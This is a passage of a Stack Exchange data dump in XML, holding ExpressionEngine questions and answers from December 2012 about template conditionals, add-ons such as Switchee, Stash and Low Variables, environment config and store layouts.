  <row Id="2038" PostTypeId="1" AcceptedAnswerId="2039" CreationDate="2012-12-21T19:16:59.923" Score="3" ViewCount="165" Body="&lt;p&gt;I have some code inside a global snippet that I only want to display on a blog listing page. So the allowed URL types could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/blog&lt;/li&gt;&#xA;&lt;li&gt;/blog/P10&lt;/li&gt;&#xA;&lt;li&gt;/blog/category/crackers&lt;/li&gt;&#xA;&lt;li&gt;/blog/author/skeletor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I do &lt;em&gt;not&lt;/em&gt; want the code to display on the individual blog post pages (/blog/my-post-title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the pseudo-conditional would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If &lt;code&gt;segment_1&lt;/code&gt; equals &quot;blog&quot; AND&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;segment_2&lt;/code&gt; is empty&lt;/li&gt;&#xA;&lt;li&gt;OR &lt;code&gt;segment_2&lt;/code&gt; is pagination&lt;/li&gt;&#xA;&lt;li&gt;OR &lt;code&gt;segment_2&lt;/code&gt; equals &quot;category&quot;&lt;/li&gt;&#xA;&lt;li&gt;OR &lt;code&gt;segment_2&lt;/code&gt; equals &quot;author&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The pagination is the part that's tripping me up. I know I can use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; to use regexes, but it doesn't let me use advanced AND/OR and () operators to string cases together. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'blog' AND (segment_2 == '#^P(\\d+)$#' OR segment_2 == 'category' OR segment_2 == 'author' OR segment_2 == '')}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on that will let me use regexes inside advanced conditionals, or is there another way of doing it altogether?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2012-12-21T19:33:33.900" LastActivityDate="2012-12-21T19:33:33.900" Title="Conditional For Entry Listing Pages Only" Tags="|pagination|regular-expressions|advanced-conditionals|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2039" PostTypeId="2" ParentId="2038" CreationDate="2012-12-21T19:27:17.773" Score="5" Body="&lt;p&gt;You can actually nest Switchee tags with a special syntax, so this should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;blog&quot;}&#xA;        {switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;#^P(\d+)$#|''|category|author&quot;}&#xA;            .. display your stuff ...&#xA;            {/case}&#xA;        {/switchee} &#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-21T19:27:17.773" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2040" PostTypeId="2" ParentId="2037" CreationDate="2012-12-21T20:11:33.707" Score="2" Body="&lt;p&gt;It turns out that I needed to update Freeform to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="150" LastEditDate="2012-12-21T22:45:11.370" LastActivityDate="2012-12-21T22:45:11.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2041" PostTypeId="1" AcceptedAnswerId="2082" CreationDate="2012-12-21T20:33:01.453" Score="7" ViewCount="209" Body="&lt;p&gt;I'm using EE hive's &lt;a href=&quot;http://www.ee-hive.com/add-ons/flickr-for-expressionengine/&quot;&gt;flickr plugin&lt;/a&gt;. I've authenticated ExpressionEngine with my flickr account but i'm having issues getting the favorites tag pair to display any information. I'm using EE 2.5.3 and the extension is version 2.1.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's my testing code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Photo stream&amp;lt;/h1&amp;gt;&#xA;{exp:eehive_flickr:photostream}{flickr_url}&amp;lt;br /&amp;gt;{/exp:eehive_flickr:photostream}&#xA;&#xA;&amp;lt;h1&amp;gt;Sets&amp;lt;/h1&amp;gt;&#xA;{exp:eehive_flickr:photosets}{set_url}&amp;lt;br /&amp;gt;{/exp:eehive_flickr:photosets}&#xA;&#xA;&amp;lt;h1&amp;gt;Favorites&amp;lt;/h1&amp;gt;&#xA;{exp:eehive_flickr:favorites}{flickr_img}&amp;lt;br /&amp;gt;{/exp:eehive_flickr:favorites}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The favorites tag pair just returns the &lt;code&gt;{flickr_img}&lt;/code&gt; variable in plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="134" LastEditorUserId="150" LastEditDate="2012-12-23T01:48:01.250" LastActivityDate="2012-12-24T18:31:49.393" Title="Issues with EE Flickr for ExpressionEngine and favorited photos" Tags="|extension|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2042" PostTypeId="2" ParentId="2035" CreationDate="2012-12-21T20:33:31.093" Score="5" Body="&lt;p&gt;When I've had this happen before with regular php mail code, I've used something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sent =&quot;&quot;;&#xA;if ($sent == '0') {&#xA;  $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;  $sent = 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-21T20:33:31.093" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2043" PostTypeId="1" AcceptedAnswerId="2059" CreationDate="2012-12-21T20:36:18.410" Score="5" ViewCount="535" Body="&lt;p&gt;I have a couple Low Variables I'm using similar to the traditional &lt;code&gt;embed&lt;/code&gt; template method. This variable has &lt;code&gt;query&lt;/code&gt; module tag to find prev/next entry, but since it's within the &lt;code&gt;channel&lt;/code&gt; tag I'm having issues getting the early parsed LV code to output the correct info - which I thought would take care of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I then thought &quot;why don't I take the &lt;code&gt;query&lt;/code&gt; tag code and create a new LV that is parsed earlier than it's parent LV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure this is a parsing stage issue. So I was wondering if this is even possible since the LV is inside the &lt;code&gt;channel&lt;/code&gt; tag? I also moved around the variables to different LV groups to change the parsing sequence, but that didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My coded simplified is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;case_studies&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    ...&#xA;    {lv_tmpl_utility_belt}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{lv_tmpl_utility_belt}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;utility-belt&quot;{if segment_1 != &quot;&quot;} class=&quot;nav-sticky&quot;{/if}&amp;gt;&#xA;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;&quot;} {!-- Show Home Utility Bar --}&#xA;        &amp;lt;ul id=&quot;nav-belt-tabs&quot; class=&quot;wrapper clearfix&quot;&amp;gt;&#xA;            {exp:low_variables:pair var=&quot;lv_home_hero&quot;}&#xA;                &amp;lt;li{if count == 1} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{hero_tab}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/exp:low_variables:pair}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;} {!-- Show Interior Utility Bar --}&#xA;    &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;btn-flat btn-menu&quot;href=&quot;#&quot;&amp;gt;Navigation Menu&amp;lt;/a&amp;gt;&#xA;&#xA;        {lv_ee_casestudy_prevnext_entries}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee} &#xA;&amp;lt;/div&amp;gt; {!-- /#utility-belt --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{lv_ee_casestudy_prevnext_entries}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT &#xA;        url_title, &#xA;        title &#xA;    FROM exp_channel_titles &#xA;    WHERE url_title &amp;lt; '{segment_3}'&#xA;    AND channel_id = '3'&#xA;    AND status = 'open'&#xA;    ORDER BY url_title &#xA;    DESC LIMIT 1&#xA;&quot;}&#xA;&amp;lt;a class=&quot;btn-flat btn-prev&quot; href=&quot;{url_title}&quot; title=&quot;Previous: {title}&quot;&amp;gt;Previous Case Study&amp;lt;/a&amp;gt;&#xA;{/exp:query}&#xA;&#xA;{exp:query sql=&quot;&#xA;    SELECT &#xA;        url_title, &#xA;        title &#xA;    FROM exp_channel_titles &#xA;    WHERE url_title &amp;gt; '{segment_3}'&#xA;    AND channel_id = '3'&#xA;    AND status = 'open'&#xA;    ORDER BY url_title &#xA;    ASC LIMIT 1&#xA;&quot;}&#xA;&amp;lt;a class=&quot;btn-flat btn-next&quot; href=&quot;{url_title}&quot; title=&quot;Next: {title}&quot;&amp;gt;Next Case Study&amp;lt;/a&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-23T05:55:55.833" Title="Early Parsed Low Variable inside Channel Tags" Tags="|parse-order|low-variables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2044" PostTypeId="1" CreationDate="2012-12-21T20:43:01.923" Score="5" ViewCount="188" Body="&lt;p&gt;I am trying to expand some code suppled by Mark Croxton in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/433/what-is-the-best-way-to-handle-a-matrix-field-in-stash/1992#1992&quot;&gt;another thread&lt;/a&gt; to create a list of Matrix results from a related entry but without success. This is with Stash 2.3.5 on ExpressionEngine 2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my SET code from my main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:set_list name=&quot;landing_slideshow&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;      {exp:channel:entries channel=&quot;slideshow&quot; sort=&quot;date&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {stash:stash_entry_id}{entry_id}{/stash:stash_entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:landing_slideshow_image}{landing_page_slideshow_image}{/stash:landing_slideshow_image}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;lb_slideshow_credits_{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;          {related_entries id=&quot;related_work_project&quot;}&#xA;            {work_team}&#xA;              {stash:lp_slideshow_position}{mx_position}{/stash:lp_slideshow_position}&#xA;              {stash:lp_slideshow_person}{mx_person}{/stash:lp_slideshow_person}&#xA;            {/work_team}&#xA;          {/related_entries}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;      {/exp:channel:entries}&#xA;&#xA;    {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the GET code I have in an embeded template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:stash:get_list name=&quot;landing_slideshow&quot;}&#xA;    &amp;lt;ul class=&quot;normal&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt;{stash_entry_id}&amp;lt;/li&amp;gt;&#xA;      {exp:stash:get_list:nested name=&quot;lb_slideshow_credits_{entry_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;&quot;&amp;gt;{lp_slideshow_position} | &amp;lt;/span&amp;gt; {lp_slideshow_person}&amp;lt;/li&amp;gt;&#xA;      {/exp:stash:get_list:nested}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Stashed values set outside the {related_entries} loop — {stash_entry_id}, {title} and {landing_slideshow_image} are all displaying as expected. Nothing in the {related_entries} loop is displaying or appears to be stashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does using related entries change things enough that &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/433/what-is-the-best-way-to-handle-a-matrix-field-in-stash/1992#1992&quot;&gt;answers in the other thread&lt;/a&gt; aren't applicable?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2012-12-28T21:16:54.450" Title="Using Stash to Pull Matrix Data from a Related Entry?" Tags="|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2045" PostTypeId="1" CreationDate="2012-12-21T21:05:06.243" Score="4" ViewCount="561" Body="&lt;p&gt;When I load Site &gt; CP Home &gt; General Configuration I see the right values in the field: &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt; for an instant. When the page fully loads it will change to &lt;a href=&quot;http://dev.example.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.example.com&lt;/a&gt;. The same happens in my local build. It too initially is correct (&lt;a href=&quot;http://local.example.com&quot; rel=&quot;nofollow&quot;&gt;http://local.example.com&lt;/a&gt;) but then switches to &lt;a href=&quot;http://dev.example.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.example.com&lt;/a&gt; an instant after the page loads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most everything works on these sites. The only issue (other than it being very strange to see) may be Lamplighter. That isn't working and they say the value in that field must match the actual page URL otherwise it will not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read on the EE bug tracker that EE stores some config variables in the database. Does the base_url value get stored in the database? I looked but could not find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using Focus Labs multi environment config, but even after reverting back to the stock EE config, index, admin, and database files it is doing it. That leads me to believe the database is storing the information. I have imported and exported the database from Dev to Production and local.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2014-07-02T21:41:25.740" LastActivityDate="2014-07-02T21:41:25.740" Title="Site and theme URLs not correct in control panel settings" Tags="|database|config|focus-lab-master-config|site-url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2046" PostTypeId="2" ParentId="2045" CreationDate="2012-12-21T21:09:44.153" Score="4" Body="&lt;p&gt;I make a few changes to the Master Config in my Base EE install. I made some pull requests to the core, but I am not sure if they were approved. I actually change my environment to the follow, it makes life much simpler with domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the following code strips the WWW from the URL and ensure you only have to define the domain once. Real simple tweak that goes a long way. I am not totally sure if I understand your error, but I use this to do something similar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! defined('ENV'))&#xA;{&#xA;    switch (str_replace('www.', '', $_SERVER['HTTP_HOST']))&#xA;    {&#xA;        case 'domain.com' :&#xA;            define('ENV', 'prod');&#xA;            define('ENV_FULL', 'Production');&#xA;            define('ENV_DEBUG', FALSE);&#xA;        break;&#xA;&#xA;        case 'dev.domain.com' :&#xA;            define('ENV', 'dev');&#xA;            define('ENV_FULL', 'Development');&#xA;            define('ENV_DEBUG', FALSE);&#xA;        break;&#xA;&#xA;        default :&#xA;            define('ENV', 'local');&#xA;            define('ENV_FULL', 'Local');&#xA;            define('ENV_DEBUG', TRUE);&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-21T21:09:44.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2047" PostTypeId="2" ParentId="1268" CreationDate="2012-12-22T04:09:10.130" Score="3" Body="&lt;p&gt;Posting the solution for future reference here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were two parts to this problem. Firstly, it looks like the template partial which was being loaded via ajax had slightly different code than the main template, so for example was using &lt;code&gt;{price}&lt;/code&gt; instead of &lt;code&gt;{price_inc_tax}&lt;/code&gt;. This caused different price to be displayed for products loaded later on via AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, there was an issue with javascript events being bound at page load time, which meant they were not being triggered for products added to the page via AJAX (therefore dynamic css variables weren't being updated). This has been fixed in Store 1.6.2.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-22T04:09:10.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2048" PostTypeId="2" ParentId="2025" CreationDate="2012-12-22T06:07:18.093" Score="2" Body="&lt;p&gt;As Michael stated in his answer, you will need to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Related Categories Mode parameter&lt;/strong&gt;&lt;/a&gt;. As stated in the docs:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This parameter is intended for use only when you are using the channel tag within “single entry” pages. Single entry pages are ones that show only a single entry, specified by the ID number or URL Title in the URL.&lt;/p&gt;&#xA;&lt;p&gt;When enabled, this parameter alters the behavior of the {exp:channel:entries} tag, causing it to ignore the entry ID or URL title found in the URL, and &lt;em&gt;&lt;strong&gt;instead show a list of entries that are in the same category as the entry specified in the URL. This lets you create a list of entries that are “related” to the primary one specified by the URL.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Your &amp;quot;More Sports&amp;quot; section of the page would look something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;post&amp;quot;&amp;gt;&#xA;{exp:channel:entries related_categories_mode=&amp;quot;yes&amp;quot; limit=&amp;quot;4&amp;quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&amp;quot;{url_title_path='blog/full-post'}&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;featured-tab {url_title}&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&amp;quot;{url_title_path='blog/full-post'}&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;{blog_slide_image}&amp;quot; alt=&amp;quot;placeholder&amp;quot; class=&amp;quot;feature-preview-img&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;p&amp;gt;{exp:eehive_hacksaw chars=&amp;quot;250&amp;quot; append=&amp;quot;...&amp;quot;}{feature_copy}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I removed the &lt;code&gt;dynamic=&amp;quot;yes&amp;quot; sort=&amp;quot;asc&amp;quot; status=&amp;quot;open&amp;quot;&lt;/code&gt; parameters because these are defaults on the channel:entries tag so are a given. You should probably add a channel=&amp;quot;&amp;quot; parameter too.&lt;/p&gt;&#xA;&lt;p&gt;This will return 4 articles in the same categories as the current &amp;quot;detail&amp;quot; article on the page.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You Blog Roll code would look something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;results-row&amp;quot;&amp;gt;&#xA;{exp:channel:entries channel=&amp;quot;blog&amp;quot; disable=&amp;quot;member_data|trackbacks&amp;quot; related_categories_mode=&amp;quot;yes&amp;quot; limit=&amp;quot;4&amp;quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&amp;quot;{url_title_path='blog/full-post'}&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;featured-tab {url_title}&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;img src=&amp;quot;{blog_slide_image}&amp;quot; alt=&amp;quot;placeholder&amp;quot; class=&amp;quot;feature-preview-img&amp;quot;&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;{exp:eehive_hacksaw chars=&amp;quot;150&amp;quot; append=&amp;quot;...&amp;quot;}{feature_copy}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2012-12-22T06:07:18.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2049" PostTypeId="2" ParentId="261" CreationDate="2012-12-22T07:47:24.170" Score="1" Body="&lt;p&gt;There was no out of the box or current third party addon that would provide the functionality requires. A custom addon needed to be developed. &lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2012-12-22T07:52:32.987" LastActivityDate="2012-12-22T07:52:32.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2050" PostTypeId="2" ParentId="2020" CreationDate="2012-12-22T08:00:03.843" Score="2" Body="&lt;p&gt;Be careful on using entry tracking on extremely busy web sites. exp_channel_titles is a generally heavy read table, add a lot of entry tracking on a busy site and you turn that into a heavy read/write table. Using InnoDB or similar replacement engines will help, but stock MyISAM table type and heavy read/write contention on that table will cause performance issues.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2012-12-22T08:00:03.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2051" PostTypeId="2" ParentId="2045" CreationDate="2012-12-22T19:19:34.887" Score="2" Body="&lt;p&gt;This doesn't directly answer your question about Master Config, but you might try giving the REElocate plugin a try: &lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reelocate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gives you the ability to easily do a find and replace for URL and Server Path values, which  can ease the pain of moving between environments and works wonders for issues like the one you're describing. &lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2012-12-22T19:19:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2052" PostTypeId="1" CreationDate="2012-12-22T20:04:09.307" Score="5" ViewCount="122" Body="&lt;p&gt;I am trying to implement a store using the bootstrap grid.   I want products to sit in blocks of 3 in a grid. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;english_ciders&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;{segment_1}/{segment_2}/{segment_3}&quot;}  &#xA;&#xA;        &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;            {title}&#xA;        &amp;lt;/div&amp;gt;&#xA;        {switch='|&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;&#xA;    {/exp:store:product}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--end row--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine without the store tag. When I add the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag to the layout the form produced has its own &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and this messes up the layout.  I am sure I am approching this wrong.  Any suggestions?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="150" LastEditDate="2012-12-22T23:01:42.253" LastActivityDate="2012-12-24T12:29:12.137" Title="&lt;div&gt; in form preventing layout based on {switch} tag working" Tags="|expresso-store|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2053" PostTypeId="2" ParentId="2052" CreationDate="2012-12-22T23:04:57.693" Score="4" Body="&lt;p&gt;The &lt;code&gt;{exp:store:product}&lt;/code&gt; tag creates a form element. It sounds like the problem is that you have the div set to float left, but because it is inside the form element, it's messing up your layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to fix it simply by moving the product form inside your div:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;        {title}&#xA;    {/exp:store:product}&#xA;&amp;lt;/div&amp;gt;&#xA;{switch='|&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-22T23:04:57.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2054" PostTypeId="1" AcceptedAnswerId="2057" CreationDate="2012-12-23T02:07:13.063" Score="6" ViewCount="174" Body="&lt;p&gt;Here's the situation:&#xA;I have a site (not my build so I'm still learning it's process) that needs to check if a user has a successful purchase, and if so, display some content.  Currently they're using submitted_order_info to check if authorized, but that only works if the order is still in session.  In the event it no longer is, that tag doesn't do any good.  What tag / check would you use in this case?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2012-12-23T02:55:52.413" Title="Check if User Has Purchase w/ CartThrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2055" PostTypeId="1" AcceptedAnswerId="2068" CreationDate="2012-12-23T02:17:38.500" Score="2" ViewCount="164" Body="&lt;p&gt;I'm using SafeCracker Registration so that I can use the power of Channels for Member fields. My members are being assigned between 2 Member Groups. Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I loop through a list of Members filtered by Member Group?&lt;/li&gt;&#xA;&lt;li&gt;How do I access the member's Channel data within the loop?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, I made the design decision to only use the bare minimum Member fields (which are &lt;code&gt;email&lt;/code&gt; &amp;amp; &lt;code&gt;password&lt;/code&gt;) and let everything else be in the Channel. So, if I the Member's location, I don't use the Member field's &lt;code&gt;location&lt;/code&gt; field. Instead, I define a new Channel field, say, &lt;code&gt;member_location&lt;/code&gt;. &lt;strong&gt;Is this a good approach?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-23T19:44:58.853" Title="SafeCracker Registration: Looping Through Members - and their Channel entries" Tags="|members|member-details|safecracker-registration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2056" PostTypeId="2" ParentId="2052" CreationDate="2012-12-23T02:18:25.733" Score="2" Body="&lt;p&gt;Adrian is correct about putting the {exp:store:product} tag inside the div - I'd also suggest it might be useful to rethink your HTML flow here. Using a switch to close off HTML elements seems like the sort of thing which could confuse you later on, and it's definitely going to confuse the next developer who needs to work on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you take that div logic out of the entries flow, and use your own css to decide if it's a new row or not. This will make for more semantic markup, and would make more sense from the responsive layout perspective too. Don't know off the top of my head how bootstrap handles rows and column layouts, but it probably makes more semantic sense to do things like this than make each product a new column. Maybe bootstrap has built in styles that can accomplish something similar?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;  .products {&#xA;    max-width: 600px;&#xA;  } &#xA;&#xA;  .product {&#xA;    width: 190px;&#xA;    margin: 5px;&#xA;    float: left;&#xA;  }&#xA;&amp;lt;/style&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;products&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;english_ciders&quot; ... }&#xA;&#xA;    {exp:store:product ...}&#xA;        &amp;lt;div class=&quot;product&quot;&amp;gt;&#xA;             {title}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:store:product}&#xA;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="648" LastActivityDate="2012-12-23T02:18:25.733" CommentCount="0" 